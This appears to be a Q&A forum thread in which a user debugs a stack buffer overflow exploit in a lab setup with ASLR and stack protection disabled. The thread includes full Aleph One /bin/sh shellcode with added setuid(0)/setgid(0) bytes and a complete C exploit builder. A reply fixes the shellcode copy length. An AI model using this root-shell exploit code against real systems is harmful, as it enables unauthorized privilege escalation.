1

I tried to exploiting buffer overflow. In the exploit code I use the Aleph-One shellcode.

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh"

Exploitation is normal, but I modified a little shellcode In order to execute setuid(0) and setgid(0), on exploit I have changed the owner of the exploit into root.

"\x31\xdb\x89\xd8\xb0\x17\xcd\x80" // setuid(0)
"\x31\xdb\x89\xd8\xb0\x2e\xcd\x80" // setgid(0)
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh"

When in execution, I get the message Illegal Instruction (core dumped)

Note:

  1. I have disabled ASLR
  2. The vulnerable and exploit programs are compiled using flag -fno-stack-protector -z execstack -mpreferred-stack-boundary=2

Complete exploit code :

#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

char *prog = "./bof4";
char shellcode[] = 
   //"\xeb\x0appssssffff"
   "\x31\xdb\x89\xd8\xb0\x17\xcd\x80"
   "\x31\xdb\x89\xd8\xb0\x2e\xcd\x80"
   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
   "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main (int argc, char **argv) {
    char buff[111];
    int i, j;
    int addr;

    if (argc > 1)
            sscanf(*(argv+1), "%x", &addr);
    else
            exit(0);
    for (i = 0; i < 35; i++) {
            *(buff+i) = 0x90;
    }
    for (j = 0; j < 45; j++, i++) {
            *(buff+i) = *(shellcode+j);
    }
    for (; i + 4 < 110; i += 4) {
            memcpy(buff+i, &addr, 4);
    }
    buff[108] = 0;
    fwrite(buff, strlen(buff), 1, stdout);
}

Can anyone explain ?

1 Answer 1

0

Just by guessing as you has the core dump and could check that for sure.

Isn't your issue that the exploit was 45 bytes long and this is what you iterate in the second loop and now when you added more code (setuid(0) & setgid(0)) the loop just finishes in the middle?

Extend your second loop by 16 and check.

for (j = 0; j < 61; j++, i++) {
    *(buff+i) = *(shellcode+j);
}
4
  • Why I get Segmentation fault (core dumped) ? Do I have to change 35 bytes on the first loop ? May 22, 2017 at 6:20
  • the first loop looks like nop-sled, I don't think it matters. If you have the dump can you check where it fails? May 22, 2017 at 6:28
  • I do not have core file May 22, 2017 at 6:43
  • set the ulimit and repeat. The core should be created May 22, 2017 at 7:01

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge that you have read and understand our privacy policy and code of conduct.

Not the answer you're looking for? Browse other questions tagged or ask your own question.